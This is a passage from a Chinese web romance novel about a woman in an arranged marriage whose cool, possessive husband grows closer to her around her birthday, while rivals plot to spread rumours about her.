闫丽听后,笑着打趣她:“这么急,看来是你老公为你大打白莲花,让你感动了。”
两人往外走,苏颂说:“哪有,我要是知道,肯定叫他不能打人。”
“哎呦呦,还管上了。你家温先生让你管?”来到闫丽的办公室,闫丽倒了杯温水给苏颂。
苏颂喝了半杯,感觉好多了,笑得露出八颗牙齿,笑嘻嘻的说:“没管过,不敢。”
“瞧你傻气的样子。真的敢管,这事也不能心软,陈曼曼既然敢公布你的照片,就是摆明要弄你,万一她拍的,不是你跟小周呢?
她会忌惮小周,不敢乱造谣,但碰上别人就不一定了。”
闫丽苦口婆心,苏颂连连点头。
“我说的你听进去没有?”
“有,当然有,丽姐就是我最好的老师,我一直受教。”
被滋润过的女人跟没被滋润过的女人就是不一样,特别是这一个多月,苏颂跟温戍礼解开误会,感情粘稠,整个人看起来更加的容光焕发,更美了。
这样的小美人,可惜就不是她弟媳。
“阿俊要过来,你知道吗?”闫丽单手托腮,“他要来找小周。”
虽然他是这样说,但闫丽知道他是醉翁之意不在酒。“到时候我们四个人一起聚聚,很多年没有聚过了。”
苏颂听后,却有所顾虑的说:“什么时候,我这两天不太方便出门,如果要见面,最好得他不在家。”
闫丽听后,双手环胸:“那是不是他不让你跟我来往,你也要听?”
苏颂摇头:“你是女的,他不会介意。”
闫丽道:“你可真不了解你这个丈夫!”就因为乱吃飞醋,能把她店砸了的人,还不会介意?
闫丽原本因为砸店的事情,不想给苏颂出主意帮助提升他们的夫妻感情了。
笑话,她在后面帮忙促进,被他掉头过来打?
077 藏在衣柜里的秘密武器被发现了
但这会还是忍不住劝说:“你要是真打算跟他过一辈子,就应该坦诚,瞧你现在这样,出个门得挑时间,还偷偷摸摸的,你是他老婆,又不是见不得人的情人!”
苏颂也想做自己,可是她跟温戍礼本来就没感情基础,联姻不都是这样吗?各取所需,她能提供的,就是成为他需要的、想要的妻子。
“首先,你得做一个自由的人!”
。
晚上,温戍礼刚回家就看到蜷缩在沙发里等他回来的苏颂,以为她是等到困了,结果她说是来大姨妈,肚子痛。
温戍礼没有二话,弯腰就把她抱起来,对准备回房的阿姨的说:“煮碗红糖水,放生姜。”
阿姨:“好。”
他把她放在床上,轻手轻脚的,还为她盖上被子。
苏颂任由他为自己做这些,心跳的很快,但同时也觉得很享受,被子盖到心口处,她的眼睛眨呀眨的,问:“你会不开心吗?”
温戍礼反问:“我为什么得不开心。”他以为她在指自己最近的放纵,嗯,他在山丘上想到最后,确实是想她了,她比以前放得开,让他更思念那种极致感受。
男人不好色是假话。
“来大姨妈了,我们这个月备孕失败了,你会不开心吗?”
她轻声细语的,眼睛又大又圆,可爱又透出那么点傻气。似乎真的很担心。
他笑了一下,忍不住弹了她的额头:“电视剧看多了吧,这种事哪有那么容易就中的。”他低头靠近,在她耳侧说,“也许是我们的宝宝体谅他爸呢,毕竟他晚些再来,我们就……”
苏颂听得脸红,推他一把,但是没用力,感受着被他的体温包裹,被他的关怀感动,苏颂想到闫丽的建议,也许,也许她可以试着在他面前做自己,万一他能接受呢。
他转而吻她额头,有点痒,苏颂扭动着身体躲避,忽然哎呀一下。
温戍礼问:“怎么了?”
苏颂脸红:“……漏了。”
温戍礼去衣帽间给苏颂拿裤子,他们的衣服是分开放的,他第一次打开她的衣橱,女人的衣服要多很多,在他找裤子的时候,忽然一袋东西掉下来,他下意识接住,人没有被砸到,但是东西撒了一地。
他看着散落在地上的东西,眼睛眯了眯。
苏颂在浴室喊:“没有找到吗?”
温戍礼抬手拿了一条,目光扫过那些画着露骨画面的包装盒,抬步往浴室走去:“有,来了。”
。
半夜,King会所,顾辽舟抬手看表,打趣温戍礼:“快十二点了,居然还不用回去。”
温戍礼说:“有跟她说,晚点再回。”
顾辽舟听后,“哇”了好几声,他笑得有些大声,惊扰到一旁在闭目养神的人。
关雎鸠问:“你在笑什么?”
顾辽舟哈哈着说:“我笑你回来,给你办接风宴,有人还说不来,结果是得回去请示才敢来。”
大过年的,大家都回来了,免不了聚一聚,顾辽舟又是个会来事的,关雎鸠刚下飞机就被他给抓来了,美其名曰,给他办接风宴。
睡了一会的关雎鸠恢复些精神,看向温戍礼,问:“嫂子管你管得很紧?”
温戍礼抬手,将酒往嘴里送,道:“别听他胡说。”
苏颂从来就没管过他,晚上十一点前回家,还是他自己提的。不过这种事,没必要让他们知道。
关雎鸠是一名特警,现在在外地机关单位上班,今年排班,今天初三才回来。还是初四的假,搞个大半夜赶回来的。
他说:“明天约个饭,把嫂子一起带过来。”
“她不方便。”温戍礼的手指敲了一下玻璃杯,道,“这三天不行。”
关雎鸠没多问,点头说:“那改天,我这次回来能住到元宵再回去。”
关雎鸠是正经人,没发现不对劲。
顾辽舟却是个不正经的,他坏笑道:“敢情还不是回去请示,是嫂子不方便,你才出来的。
啧啧,重色轻友啊!”
关雎鸠听出来点意思,但笑不语。
温戍礼见关雎鸠笑得眼神揶揄,接着刚才跟他聊的话题,说:“是她腼腆,不像某些人那么脸皮厚,回去我先跟她说一下,让她有所准备。”
顾辽舟:“……”
不搭腔他的话,还瞪他?
。
第二天,苏颂依然疼得躺在家里,最近跟温戍礼感情升温,让她有胆子提要求。
【你等会回来,能给我带提拉米苏吗?】
在一次亲密的时候,她的手机响了,有人给她发消息,他停下来,她整个人也顿住了,生怕会影响到他的兴致,其实她的账号也不活跃,平常很少有人给她发消息。
正当她怕他不高兴的时候,他又继续,还说:“我的号有用了,你也可以跟我聊天。”
聊天?他们从没有聊过,刚开始一年,苏颂偶尔会在他的聊天框里留言,但问的都是苏氏的事情,他也很少回,根本不是在聊天,更像一个留言板。
不过苏颂最近发给他,他都有及时回复。
【还有个会,要回去跟你说。】
【好】后面跟个小狗狗转圈的表情包。
苏颂想做回自己,打算给温戍礼时间接受,一个小要求,一个可爱的表情包,慢慢的,让他习惯真实的她。
有他这句回应,苏颂觉得自己的肚子也不那么疼了,昨晚一直没睡好,这会有些昏昏欲睡。
……
温戍礼回来的时候,家里很安静,客厅的落地玻璃开了半边纱窗,有微风吹进来,家里明亮如许,就是没有她的影子,沙发上空荡荡的。
他将蛋糕放在桌子上,四处寻找她的身影,推开房门的时候,一道惊呼传来。
“我在换衣服。”
苏颂背对着门,两手捂着肩膀,他能看出她在颤抖。
“嗯。”他淡淡应了一声,关上门。
苏颂这才放松下来,松开手,将裙子提上来,结果两只大手从后圈上来,抱住她。
“你……没出去。”知道是他,她已经没有刚才被惊吓到的恐慌了,但她上半身还赤裸着,皮肤被他的掌心烫的收紧,从没有过这种情况让她很拘谨。
078 要不,我们试试?
再不熟也是睡了三年的枕边人,察觉到他的意图,苏颂小声提醒:“我,我是弄脏衣服来换。”提醒着他,她还不方便。
温戍礼的下巴抵在她的后脖颈处,鼻子埋进她的头发里,呼吸滚烫:“衣帽间里不是有我可以用的?”
“啊?”苏颂刚开始没反应过来,随着他有些动情的触碰,暗示着什么,才让她恍然大悟,“你,你看到了?”
闫丽塞给她的那些情趣用品!!
她本来想先放在哪里,哪天家里没人拿去丢掉的,结果给忘了。被他看到了吗?
“那些,不是……我……是朋友塞给我的。”
“朋友?什么朋友会给你这种东西?”
苏颂顿住,不敢说出闫丽,世人对风月场的女人多半都戴着有色眼镜。她奶奶就对闫丽深痛恶绝。
今天闫丽刚问她,是不是他不让她跟她来往,她就听。当然不是,但如果他反对,又会生出很多事情,于是苏颂不想他对闫丽有偏见,不语。
男人闷笑,手环着她的腰际收紧,道:“我们试试?”他语气低沉,似是在诱哄。
苏颂不知道自己怎么会答应的,结果她发现他是舒服了,可难受的成了她。
她累得躺下,身旁的男人声音轻快,甚至还给出评价:“不过,你这个朋友没有坑你,是个好东西。”
苏颂的脸又热起来,看着他餍足的神色说:“你以前不这样的。”
明明她不方便,但这会的声音就是又娇又媚,她自己听了都脸红,索性咬着唇,不说了。
她并不知道,她越是娇羞,就越是迷人。温戍礼觉得自己最近真的太沉迷女色了,坐起来,说:“偶尔也要有新的体验,有助于夫妻之间的保鲜。”
“再说,你以前也没问过我,怎么知道我就不会喜欢?”他眸光深深的看着她,唇角勾着坏笑。
这一刻,苏颂见识到他的坏,原来他跟所有男人一样,也会调戏女人。
“我只是自律,又不是古板。”他看穿她的心思,“而且我们是夫妻,在我老婆面前,我不觉得我还得保持形象。”
苏颂这次抓住重点了,她问:“那我在你面前,也可以有不一样的一面吗?”
正站着在扣衣服的垂眸看她。苏颂咽了咽口水,说:“我也想有自己的社交圈,我可以随时出门跟朋友玩,晚上十一点前就回来行吗?”
“我说了,上次不让你见周正焕是特殊情况,我没有限制你的自由,你也可以有你的社交圈。”
只不过温戍礼低估了小妻子要的自由。
时间一转到初八,是新年开工的日子,温戍礼今年身为盛泰的CEO,忙得脚不沾地,一大早跟苏颂说今天不回来吃饭就没关注手机。
斋菜芳
关雎鸠看着一行人前后走进包厢,正疑惑着那人是不是温戍礼的老婆,就听到有人说“她叫苏颂”。
温戍礼的老婆就叫苏颂。
他给温戍礼发了照片,但他一直没回。关雎鸠收起手机,朝着那个包厢走去。
周正焕给周扬平介绍完苏颂,苏颂也跟着他们喊一声“小叔”,被周扬平说“喊老了”,一时间大家笑起来,气氛很好。
闫丽:“还以为你小叔来,场面会活络不起来呢。”
周正焕那张绝美的脸上,晃着得意:“小瞧我叔了,他是老少都合得来的好叔。”
“点菜,别皮。”周扬平放了一本菜单在他面前,语气责备,但人却是温和的笑着的。
今天,原本只是他们四个人小聚,结果周正焕还带了他小叔过来,苏颂听说过很多次周扬平,周扬平也帮过她好几次,但他们却是第一次见面。
在这样的大人物面前,苏颂有些放不开,开口说:“上次,谢谢小叔。”
周扬平瞧她,嘴角挂着笑,整个人依然温温和和的:“养老机构完善,关乎一个城市的发展,让他务必做好就行。”
“肯定会的。他最近每天去工地,过年也去。”苏颂保证道,对于温戍礼的工作态度是毋庸置疑的。
“到时候会有部门去检验,我们看结果。”周扬平始终保持着中规中矩的言谈,让苏颂继续不下去。
“行了。吃个饭,聊这些干嘛?我们今天是聚餐,是朋友,你把他也当朋友,不要当他是秘书长,OK?”闫丽拉了苏颂一把,让苏颂把目光落到她这边。
有她活络,苏颂不那么紧张了。
“李斯俊呢?你不是说他来了?”
周正焕接话:“他说在路上了。”
关雎鸠此时敲门,里面所有人都看过来,但他的目光只落在中间的周扬平身上:“真的是你,周秘书长。”
。
温戍礼一大早开了好几个会,还去一楼给员工致了几句词,说几句新年的漂亮话,然后高管们开始发红包。他走侧面,到达一楼的会议室。见夏叙。
身为苏氏的经理人,他来做新年述职,不过温戍礼单独见他,并不是要问那些公事,他问:“见到她了?”
这个“她”是谁,彼此心知肚明。
夏叙说:“见到了。曼曼的情况不太好,她爸赶着她回国外去,但她不想再出国了。
手恢复得也不太好,有些错位,她很沮丧。”
“我不是要问这些,她怎么样跟我无关。我只是要告诉你。夏叙,你想在苏氏继续干下去,事业跟感情你得分开。”
温戍礼坐在长长的会议桌上方,尽显上位者的姿态:“换而言之,你就是恨我,也不能拿苏氏报复,懂?”
他一个眼神扫过来,让夏叙立刻低头。他像是一位表达忠心的臣子,说道:“温总开玩笑了,我知道是曼曼得罪你,你才会给她教训,她之前一直跟我说,你以前很照顾她,这次是她不对,我们都不会恨温总。
至于苏氏,我肯定会好好管理。”
要的就是他这句话。温戍礼不喜欢感情用事的人,他带着肖直离开。
夏叙确定他走远,才拿出手机,拨出电话:“别痴心妄想了,温总对温太太情深一片,你没机会。”说完,不等对方出声他就挂断电话。
自己的女朋友还在交往,心里却盘算着别的男人,哪个男人碰上了不憋屈。夏叙不会恨温戍礼,但却会埋怨陈曼曼。
079 白月光是虚影,老婆才是真的
进了专属电梯,在密封的安全空间里,肖直才谨慎地询问:“需要派人过去苏氏盯着夏叙吗?”
小心驶得万年船。
温戍礼道:“疑人不用,用人不疑。撇开陈曼曼不说,夏叙是有能力的。”
肖直当然知道,那是上司三顾茅庐请来的。于是不再多言。
温戍礼趁着上楼的空档,拿出手机,发现关雎鸠给他发了几条消息。
一张照片。
【这是弟妹吗?】
【你有来吗?】
消息是半个小时前,那会他开完会,正准备下楼致词,手机只是来消息,他便没理会。
照片还没点开,他就认出苏颂了,以及闫丽,想到她前几天说的想要有自己的社交圈,他就猜到她是要去找闫丽,果然是这样。
照片点开,露出门框遮挡住的半个身影,让温戍礼眯了眯眼,放大手腕的位置,看到一串檀香木珠子。
周扬平吗?
下一秒,温戍礼就给关雎鸠打去电话,开门见山地问:“你在哪?”
那端的关雎鸠说:“在斋菜芳门口,正打算走。”
“他们去那里吃饭?周扬平也在?”
“对。弟妹真厉害啊,原来她跟周秘书长早就认识,苏家当年大老远来逼婚你,我一直以为苏家没什么人脉呢,看来是我想错了。”
“进去等我。”
温戍礼挂了电话,电梯门刚开又被他关上,摁了下行。
他交代:“我出去一趟,有事延后。”
接下来没什么重要事情了。肖直应下,却忍不住好奇地问:“温总,是要去找太太吗?”
“有事。”
看着上司快步出电梯,背影有些火急火燎的样子,肖直偷笑:“明明就是去找太太,我都看见照片了。
嗳,果然谁坠入爱河都一样,还告诉夏叙不能公私不分,我怎么觉得boss已经公私不分。”
肖直摇头失笑,关闭电梯,打工人,老老实实上班去。
。
斋菜芳
此时的苏颂正捧着一个蛋糕,忍着红红的眼眶,不让自己哭出来。
对面的李斯俊看她这样,以为她是不喜欢,语气带着点急的问:“这个口味不喜欢吗?我记得你以前最喜欢草莓味的。”
苏颂摇头,心情激动,一时间找不到话语。还是另一边的周正焕说:“真笨,没看出来她是高兴啊?”周正焕瞧了一眼已经捂着嘴的苏颂,别过头,道,“真是一个傻一个笨。”咬住唇,到底没再说下去。
正月初八,是她的生日,但她已经很多很多年没有过过生日了,似乎所有人包括她,都忘了这个日子,只是为什么每到正月,她就会特别想吃蛋糕呢。
无解,貌似也无需解。
闫丽给插上一根蜡烛,点着,催着苏颂:“快许愿。记得不要说出来哦。”
白天的光影不够明显,气氛也不够,但苏颂闭着眼睛,很诚心的许了愿。
她看不见,李斯俊可以不加掩饰的瞧着她,他的行动以及眼神,一直都在表示他对苏颂的喜爱,可当局者迷旁观者清,年少孤傲不屑爱情,让他口是心非。直到得知她要嫁人,那种快心死的感觉,才让他知道,原来,早已刻骨铭心。
闫丽跟周正焕瞧着这两人,对了眼,无声的叹息。苏颂吹蜡烛,大家收回心思,笑意盈盈的鼓掌。
周扬平坐在位置上,年轻人的仪式感,对他来说,就像是看小孩子嬉戏。不过脸上的笑意更深了些。
斜对面的包厢,因为刚才关雎鸠有去露面,所以不敢定对门的,这个角度无法看到对面包厢的全景,但能看到苏颂捧着个小蛋糕在许愿。
“弟妹今天生日?”关雎鸠转头看去,却发现温戍礼的脸色不太对——虽然依然是沉稳冷淡的,但藏在这淡漠之下的情绪却有了变化。
“你真不知道?”关雎鸠觉得很不可思议,“结婚都三年了,就算一开始不愿意,也能日久生情吧,平常对弟妹多点关心吧。”他语重心长的拍了拍温戍礼的肩膀,同时也有些同情苏颂。
温戍礼的目光一直落在对面,说:“她从没说过她要过生日。”
知道吗?大抵是知道的,两人挑日子的时候,是需要双方生辰的,而当时,是他跟着林美丽一起去找先生看的。
关雎鸠说他一开始不愿意,还真的误会他了,他只是不想被父亲跟林美丽摆布,但娶苏颂,他从来没有不愿意过,甚至担心林美丽在他们结婚的日子上做手脚,亲自跟了过去。
此时,他的心情有点复杂,自己怎么忘了她生日呢?还有,她生日怎么不说呢?
也不是完全没说,平常不爱吃甜品的她,前几天忽然想吃提拉米苏,她很少主动联系他,还是提要求的。
温戍礼目光定定的看着斜对面,恨不得自己进去参与。
而同时,隔着一个包厢的另一间,两道视线也在盯着斜对面。
温泰淡笑:“原来今天是我大嫂生日啊,能让周家人给她过生日,够排场!”
周家人一个顶十个上流,甚至还不止,圈子里也没听说过有谁办宴会,能请得到周家人,可区区一个苏颂,仅仅一个小生日而已,来了两个周家人捧场。
“周正焕这么看重她,说两人之间没什么,鬼才信!”
温泰被打之后,一直咽不下这口气,随着时间的推移,他好了伤疤忘了疼,对温戍礼的恐惧已经减退许多,但他还不敢去招惹温戍礼,所以找来陈曼曼,想继续发力,把苏颂拉下来。
“你不用找媒体,只需要跟人闲聊的时候,有意无意的将你看到的说出去就行了。就那些八卦的贵妇,添油加醋的本事一流,一个个的得不到老公的疼爱,最喜欢搅和别人的夫妻感情。”
明枪不行,就选择暗箭。
感情只要有了裂缝,就会越来越大。他就是要苏颂被抛弃,看她还怎么高傲。
一旁的陈曼曼死死地盯着对面,用力掐着的手指牵动还没完全愈合的伤。
她的手被温戍礼废了。他是故意的,他明知道,她最希望的就是成为一名瓷绘师,他专门夺走她最看重的手,就是要告诉她,他有多看重苏颂。
080 情敌见面,分外眼红
“我等不了。”一改平日里柔美的陈曼曼,这会眼神全是恨意,“我要直接毁掉苏颂最在意的东西!”
从这个角度,陈曼曼看得到李斯俊,问温泰:“那个穿着黑色衣服的人是谁?”
温泰表示:“不知道,从来没见过,不像本地人的样子。管他的,只要抓得住苏颂跟周正焕的把柄,别说对付温戍礼了,我要温家,也能得到。”
。
温戍礼行色匆匆地走在长廊里,原本他过来,是想制造偶遇,趁机让苏颂介绍朋友给他的。
既然不能阻止她跟这些朋友交往,那么他就融入进去,这样以后对她的动向也会更了解一些,他没想过监视自己的老婆,但一直监视她的朋友,也不是万全之策,万一暴露,她生气,他也不好解释。
可万万没想到,单单遇上苏颂这件事,就让他失去融入她圈子里的资格。
他明白,在这里出现,不是好时机。现在,他只想赶紧去订个生日蛋糕。
早春的雨总是润物无声,不知何时飘起的细雨,被风打进来,让他往里避一避,却没注意前方有人来。
幸好他反应快,收回跨出的脚步,避免相撞的尴尬。但对方却引起他的注意。
黑色的骷髅头皮夹克搭配深蓝色的牛仔裤,洋溢着一派年轻又不羁的气息。但这人又表现出来沉稳不惊,刚刚他们差点撞上,他甚至连一个多余的眼神都没有,直接经过。
这种,不是经历过大风大浪,就是长年在一个高强度教育里成长的,不是见惯不怪,就是对外界感知已经麻木,跟他一样。
温戍礼透过他,似乎看到年轻时候的自己。
不过他从小就被压着温宋两家两个担子,所有人只要他学习,只想他优秀,没人准许他穿得这么另类。
他收回视线,加快脚步,要给苏颂订蛋糕。
相反的方向,那种俊俏的脸庞,却冷冰冰的,李斯俊看着温戍礼的背影,眼睛里全是冷芒。
不是处事不惊,而是不想搭理。一个浪费苏颂青春,辜负苏颂的年华的男人,他恨不得将之刀了!
闫丽都将他这三年怎么对待苏颂的事情,告诉他了。
李斯俊转过头,继续往里面走,内堂才是点菜的,苏颂说蛋糕有点腻,他想点一杯青梅酒给她,不知道这里有没有。
“早知道,就从家里带一些过来了。”
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苏颂吃完午餐就回来了,她怕温戍礼忽然回来。进门的时候,她先问阿姨:“他回来没有?”
阿姨已经跟苏颂通气过了,接过她的宝宝,同时说:“没有。先生要是回来,我肯定打电话给你。”
“那就好。”苏颂心情舒畅极了,人也跟着嘻嘻笑,阿姨见状,跟在后面问。
“看来太太跟朋友玩得很尽兴。是很好的朋友吧。”
经过这几个月的相处,阿姨已经成为苏颂可以信任的人,于是她没瞒着,说:“是很好,最好的。”
蛋糕的甜味似乎还在心头晕染,甜着甜着,忽然就有点泛酸,让坐在沙发上的苏颂有些出神。
阿姨给她的包包跟外套归位,并没有发现苏颂的不对劲,闻言又问:“什么是最好的?”
“最好的,就是能记在心里的。”苏颂躺在沙发上,满怀思绪的说。
苏家人丁凋零,苏颂出生的时候,全家都很高兴,毕竟苏家已经很久没有新生命诞生了。
奶奶疼她,妈妈视她为宝,还有爸爸百依百顺,她是名副其实的小公主,她享受了八年家人们毫无保留的爱。一切的变故,来自那场车祸。
苏颂八岁那年,母亲被撞,肚子里还怀着五个月的身孕,当场一尸两命。
见过现场的人都说很惨烈,连奶奶心理素质那么强的人,每当想起来都会哭,一直哭,什么都不说的哭,但只有苏颂知道,奶奶是想妈妈了,因为奶奶又凶她了……
“为什么留下来的是你?我的珍儿,我的孙子。”——这是奶奶昏迷后醒来说的第一句话。
得知噩耗的奶奶不愿意相信,不顾阻拦的跑去车祸现场,当场就晕倒了,昏迷了一天一夜。
当时她爸爸在警局跟医院两边跑,忙着她妈妈地后事,奶奶醒来的时候,只有她在身边。
她还没来得及喊医生,奶奶就攥住她的手,声音虚弱的说:“为什么留下来的是你?我的珍儿,我的孙子。”说完,奶奶又昏睡过去。
年幼的她后来跟爸爸说过,爸爸说是她听错了,说奶奶平常那么疼她,绝对不会说这样的话,还说奶奶那时候神志不清,会说也是说胡话。
所以到底是她听错了,还是奶奶在神志不清的时候说出心里话呢?爸爸让她忘了,说妈妈不在了,以后要跟奶奶更亲近,记得奶奶很疼她就行,让她别胡思乱想。
她是个听话的孩子,爸爸的话她听进去了。妈妈不在了,她想去跟奶奶睡,可是奶奶不同意,说她长大了,得学着独立,奶奶把她关在房间,任由她哭了半夜。
往常一到过年,妈妈就会问她想要什么礼物,早早就开始布置,让她可以邀请同学朋友来做客,可那一年,她提出要个泰迪熊,被奶奶拒绝,说她这么大了,还玩娃娃,不成熟。
那她想要新裙子,又被奶奶说,一天到晚只知道打扮的女孩子没出息。那她想要……奶奶没再等她提新的礼物,就已经走了,那一年,没人给她准备礼物,到了第二年,大家都忘了她的生日。
十岁的苏颂终于成长为奶奶口中懂事孝顺的孙女,她不再提要求,什么事都听从,再也不会闹了。
苏颂眨了下眼睛,泪珠就从眼角滑落下来。
她都乖乖听话了,可是后来奶奶对她再也没有疼爱过,有的只是严厉,只是要求,只是要她承担起苏氏的担子……明明她的心里就是惋惜妈妈走了,把弟弟也带走了……
那句话,她从来没有忘记过,不是听错!
阿姨看着垂眸默默流泪,对周围毫无察觉的苏颂,多次想要提醒,可温戍礼站在她们中间,让她无法开口。
081 看似清心寡欲,实则吃醋大王
这种画面,是他没有预想过的,他急急匆匆提着蛋糕回来,想给她庆生,结果她躺在沙发里,静静的流泪。
“什么事,这么难过?”
难道就因为他忘记了她的生日,从来没有为她庆祝过吗?
听见声音,苏颂回神,看到温戍礼,两手胡乱地抹脸,人也跟着坐起来。
“你,你怎么回来了?”
她慌乱的样子,让温戍礼心里很不是滋味。她不愿意说,她甚至都不愿意跟他说。看来,他之前真的对她太忽略了。温戍礼很后悔,但是已经过去的时间无法改变,以后他会记住这一天的。
“买了蛋糕回来,要吃吗?”他有看到她在包厢里吃蛋糕了,不知道她还想不想吃,“只有蓝莓味了。”没有提前订,他又要紧,就拿了柜台今天做的,口味没得挑。
他貌似也不知道她喜欢什么口味。第一次,温戍礼觉得,自己很失败。
身为丈夫,他真的不合格。
越想越受挫,颓废得他都想把手里的蛋糕丢了,不够用心的东西,怎么都不是好的。
“好啊!”哪知道苏颂笑着说,眼睛却还红红的。
苏颂接过去,拆包装。阿姨去冲红茶。只有温戍礼坐在沙发上,不知应该怎么做。他该怎么提起她的生日,并告诉她,以后自己都会记得比较好呢?
谈上亿的项目都不曾怕过的他,这会坐在苏颂身边却有些畏惧。
他害怕她又像刚才那样哭。
“你怎么会买蛋糕?是因为我前几天跟你说我要吃提拉米苏吗?”苏颂有些期待的看着他,缺爱的人总是容易满足,如果真是这样,她可太开心了。
温戍礼受不了她这种眼光,与之对视,一鼓作气,道:“林美丽说今天是你生日。”
对,就说是林美丽说的。他为自己的灵机一动感到满意。
身为女主人,本应该就要操持家里大大小小的一切,包括家庭成员的生日。要不然他说林美丽不配呢,就是她只想占着温家女主人的位置,却不想办女主人干的事。
“你不是去公司吗?遇到阿姨了?”苏颂不解。
温戍礼说起谎来,毫不心慌:“怕她儿子又被我欺负吧。”
提起温泰被打这件事,苏颂“噗嗤”一笑,还是觉得很爽。
看她笑了,真心的笑,笑得眉眼弯弯的,温戍礼也放松了些,原本打腹稿觉得难以启齿的话,这会说出来并不费劲。
“以后我会记得。”
“嗯?”苏颂看他,不解。
“以后你的生日,我每年都会记得,也会给你庆祝。”他认真的许诺。从来,他就没想过轻视她,就算之前心存误会,也只会在情急之下,说两句重话,意识到自己失态,他就回避一段时间,平复好再回家。
这三年对她,他都是该给的给,只要她留在家里当温太太——让她做好“温太太”的分内事就行,其实也是他内心不够自信,怕她会离开他。
以后,他会全心全意的对她好。
。
新年的活动总是比较多,一场商业聚会上,温戍礼跟顾辽舟碰上,两人站在边上,聊起来。
顾辽舟问:“我听老关说,你让你老婆跟姓周的在一起过生日了?”
所谓流言,往往就是这样传出来的。人传人,然后中间改一口,事情就全变了。
温戍礼瞧他一眼:“鸟儿真这样跟你说?”
鸟儿是他们在上学时期,给关雎鸠气的花名,但关雎鸠一直不让人这样喊,他从小就长得虎,一身蛮劲,谁都打不过。后来他们就在私底下偷偷叫,但也是很多年前的事情了。
听连花名都出来了,顾辽舟瞪着眼睛看他,马上改口:“好像不是。”具体怎么说的?总之他就是只听自己想听的,只抓自己想抓的要点。
“包厢里有很多人,不止周正焕。”温戍礼说,“而且我没有让,是她没告诉我。”
他摩挲着手上的戒指,这是他跟苏颂的婚戒,他没有戴过,是今天的搭配师,建议他可以带点首饰,这些会更有亲和力一些。
他才不用管别人敢不敢跟他亲近,他也不需要去跟谁亲和,以前这种话他都是充耳不闻,但想到苏颂,面对他总是一副小心翼翼的样子,特别是那天偷偷在哭,他反思,是不是自己真的太严肃,看起来太过冷淡了。让她有事都不敢跟自己说。
“你这话不对啊!”显然松口的意思,再看到他无名指的戒指,情场老手的顾辽舟瞬间就明白了。
“想融入嫂子的圈子?”
他一贯高冷,不过不用回答,顾辽舟也明白七八分,他说:“你想要认识嫂子的朋友,那也得让嫂子认识你的朋友啊!”
他拍了一下温戍礼得胸口,一副军师的样子:“算是额外感谢你帮我得到那半条街的福利,你不知道,这个年,我过爽了,我堂哥见到我,都低着头过去。”
温戍礼剔他:“少废话。”他对顾家那点事没兴趣。
顾辽舟说:“老关不是一直说要聚聚吗,叫上嫂子一起来吧。别藏着,谁敢觊觎你温大少的老婆!”不认识的不怕死,都是圈子里很熟悉的人,谁敢招惹他啊!
他已经见识过这个人对苏颂的占有欲,简直是个吃醋王。顾辽舟以为这几年,温戍礼没带苏颂参加过他们的聚会,是不想苏颂跟其他异性走近。
哪知道温戍礼却是顾虑:“不知道她愿不愿意。”
都说“为爱卑微”,顾辽舟今天算是见识到了,悄悄翻白眼。
。
苏颂在家,跟奶奶视频之后,又在群里聊天,那天过后,闫丽建立了一个群,群里只有他们几个。
一开始,苏颂见到周家小叔也在群里,还不太敢说太多话,就是后来发现,周小叔不在群里冒泡,不仅不干涉他们聊天,还充当隐形人,苏颂就放宽心,想说什么就说什么。
【你们都在干嘛?】
【我好无聊啊】
【刚跟我奶奶通完视频电话,忽然发现,又好久没有见到她了】
发到第三条的时候,有人回复她。
082 老婆想去骑马,正好,马场,是我的
【你今年不回云城?】是周正焕。
苏颂切换成语音,在床上翻个身,说:“他今年有个项目很忙,没时间陪我回去。”
往年,他们初五、六差不多,等这边亲戚好友走完了,温戍礼就会带她回云城一趟,当天来回,时间很匆忙,但苏颂很满足,她觉得,他有心,还会挂念她的家里人就很好了。
也许,她从没见过爱得痛彻心扉的人吧,跟温戍礼好的时候,这种为她着想的行为,也会被她理解为爱。
“不过我奶奶好像也不希望我回去呢,一直让我身为妻子要多体谅,别总想着回娘家。”苏颂郁闷极了,她奶奶总是把事业摆在第一位,还希望她的丈夫也把事业放在第一位。
周正焕没回,闫丽上来了,她发了一条语音:“无聊就出来玩啊!我听人说,南城有个马场很棒,我们去骑马吧。”
周正焕也发了语音:“你有会员?”
闫丽文字回复【有人有,我借不行?】
周正焕发个微笑脸,隔着屏幕,又燃着一股火药味。
苏颂看着他们两的聊天,哭笑不得,切换文字输入,打字发送。
【这有什么好吵的】闫丽爱面子,周正焕又喜欢拆台子,所以这两人经常说着说着就斗嘴。常态了。
见闫丽又发了一条消息过来,苏颂点开语音:“要不叫上你家的一起来吧,这样他就不会不让你出来了吧。
而且他应该有会员,我们蹭他的,让你老公请客。”
又发了一个美滋滋的动态表情。
周正焕一连两条消息过来:【哦,有人请客】
【那有人又不用出血了】
怎么又要吵上了得感觉。苏颂连忙打字发送【我问问】
闫丽发了一个大大的鼓掌表情。
苏颂看了,对着手机笑。
她没再推脱,也没再顾虑。最近,温戍礼对她的好,她都感受得到。
以前是他们之间存在误会,现在他们的关系已经越来越好,好到苏颂不想再学着谁的影子,只想做自己。
可以做好贤妻,也可以随时和朋友一起玩,自由跟顾家不冲突,苏颂有信心做好,前提是,他得认同。
夫妻之间,贵在相互理解和尊重,苏颂想介绍自己的朋友给他认识。
做行为夫妻三年,没想到有一天还有事能想一块去。当温戍礼听完苏颂磕磕巴巴说完后,转过头,正面对着她。
“这种事,这么不敢说?跟我吵的时候,也没见你结巴。”他的眼镜忘了摘,一直戴到家里来,原本是立体英俊的脸,戴了一副眼镜,多了一份斯文。
他长得也不猛,就是硬朗。难得有这么柔和的时候,苏颂被他看得有点呆住。
“没,没和你吵、吵过。”她怎么一紧张就结巴啊,救命!
苏颂觉得丢脸,落在温戍礼眼里,她这样却是傻的可爱。收回视线,夹了块澳龙放在她碗里。
说:“是吗,那在King打完温泰,回家又跟我大声的人是谁?”
他似笑非笑,她却尴尬不已。这事当时发生之后,温戍礼处理了温泰后就没再过问,苏颂以为翻篇了,没想到他这会会翻出来说。
苏颂低着声音:“当时我被吓到了,你还态度不好……”
“圈子里的人都说我娶了个小家碧玉,柔柔弱弱的小妻子,结果我老婆会打人,现在还告诉我,她会骑马,真的让我很意外呢!”
他每说一句,苏颂的头就低下去一分,拿着筷子的手都快捏变形了。
见她耳尖都红了,不再逗她:“关雎鸠回来了,一直嚷着带你一起出去聚聚,要不就都叫到马场来吧,问问你的朋友们,哪天有空,现在正月,马场客人多,我提前让人清一个场出来。”
苏颂猛地仰脸,震惊:“啊?”
他勾唇,笑:“马场是外公家的产业,我在打理。”
晚上,苏颂还在跟群里的人聊得热乎,温戍礼同意之后,她也不用偷偷躲起来聊天了,大大方方的。
